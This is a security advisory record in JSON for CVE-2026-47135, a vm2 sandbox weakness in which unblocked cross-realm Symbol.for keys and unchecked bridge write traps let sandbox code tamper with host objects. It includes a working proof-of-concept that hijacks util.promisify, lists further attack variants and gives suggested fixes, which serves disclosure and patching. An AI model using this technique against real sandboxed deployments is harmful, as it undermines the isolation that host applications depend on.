{"id":"GHSA-m5q2-4fm3-vfqp","summary":"vm2 has a sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks","details":"## Summary\n\nvm2 3.11.2 `Symbol.for` override in `setup-sandbox.js` only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's `set`/`defineProperty`/`deleteProperty` traps having **no** `isDangerousCrossRealmSymbol` key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full `util.promisify` hijack chain.\n\n## Root Cause\n\n**1. Incomplete `Symbol.for` override** (`setup-sandbox.js:132-142`):\n\n```js\nSymbol.for = function (key) {\n    const keyStr = '' + key;\n    if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect;\n    if (keyStr === 'nodejs.rejection') return blockedSymbolRejection;\n    return originalSymbolFor(keyStr); // everything else passes through\n};\n```\n\nOnly `inspect.custom` and `rejection` are blocked. The following 7 Node.js internal symbols pass through as **real cross-realm symbols**:\n\n- `nodejs.util.promisify.custom`\n- `nodejs.stream.readable`\n- `nodejs.stream.writable`\n- `nodejs.stream.duplex`\n- `nodejs.stream.transform`\n- `nodejs.webstream.isClosedPromise`\n- `nodejs.webstream.controllerErrorFunction`\n\nNote: `bridge.js` `isDangerousCrossRealmSymbol` covers `promisify.custom` on **reads**, but the `Symbol.for` override in setup-sandbox does not block it at the source.\n\n**2. Missing symbol check in bridge write traps** (`bridge.js`):\n\nThe `get` trap (line 1148) and `ownKeys` trap (line 1541) both check `isDangerousCrossRealmSymbol(key)`, but `set` (line 1231), `defineProperty` (line 1427), and `deleteProperty` (line 1493) have **no such check**. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.\n\n**3. Incomplete filters in setup-sandbox.js**:\n\n`isDangerousSymbol()`, `Object.getOwnPropertyDescriptors` override, and `Object.assign` override only filter `inspect.custom` and `rejection` — missing `promisify.custom` and all stream/webstream symbols.\n\n## Verified Exploitation: util.promisify Hijack\n\n```js\nconst { VM } = require('vm2');\nconst util = require('util');\n\nconst vm = new VM();\nconst hostFn = function readFile(path, cb) { cb(null, 'real data'); };\nvm.setGlobal('hostFn', hostFn);\n\n// Sandbox writes promisify.custom to host function\nvm.run(`\n  const kPromisify = Symbol.for('nodejs.util.promisify.custom');\n  hostFn[kPromisify] = function(path) {\n    return Promise.resolve('HIJACKED by sandbox');\n  };\n`);\n\n// Host-side: promisified function now returns sandbox-controlled value\nconst asyncRead = util.promisify(hostFn);\nasyncRead('/etc/passwd').then(console.log);\n// Output: \"HIJACKED by sandbox\"\n```\n\n**Additional verified attacks:**\n\n- Writing `nodejs.stream.writable` to a host Readable stream, altering its duck-typing identity\n- `Object.assign` propagates unblocked symbols from sandbox source to host target\n- `Object.defineProperty` with unblocked symbol key succeeds on host objects\n- `delete hostObj[unblocked_symbol]` succeeds, removing host-set symbol properties\n\n## Impact\n\n- **Semantic confusion**: Sandbox controls host `util.promisify` behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox.\n- **Data integrity**: Host code relying on promisified function results gets sandbox-controlled values.\n- **Defense bypass**: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation.\n\nThis is not a direct RCE — the bridge still wraps sandbox functions crossing the boundary — but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.\n\n## Affected Versions\n\n- vm2 \u003c= 3.11.2 (all 3.x versions)\n\n## Environment\n\n- Node.js v24.14.0\n- macOS (Darwin 25.4.0)\n\n## Suggested Fix\n\n1. **`setup-sandbox.js`**: Block all `nodejs.*` prefixed symbols:\n\n```js\nSymbol.for = function (key) {\n    const keyStr = '' + key;\n    if (keyStr.startsWith('nodejs.')) return Symbol(keyStr);\n    return originalSymbolFor(keyStr);\n};\n```\n\n2. **`bridge.js`**: Add check to write traps:\n\n```js\nset(target, key, value, receiver) {\n    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\n    // ...\n}\n```\n\n3. **`setup-sandbox.js`**: Sync `isDangerousSymbol`, `Object.getOwnPropertyDescriptors`, `Object.assign` to cover all dangerous symbols.","aliases":["CVE-2026-47135"],"modified":"2026-06-12T19:45:10.542642481Z","published":"2026-05-29T17:44:32Z","database_specific":{"nvd_published_at":"2026-06-12T15:16:28Z","cwe_ids":["CWE-693"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-29T17:44:32Z"},"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-m5q2-4fm3-vfqp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47135"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/commit/928aef51898b5c52a05f05a40c4cfeb52e172878"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.4"}],"affected":[{"package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.4"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.11.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-m5q2-4fm3-vfqp/GHSA-m5q2-4fm3-vfqp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N"}]}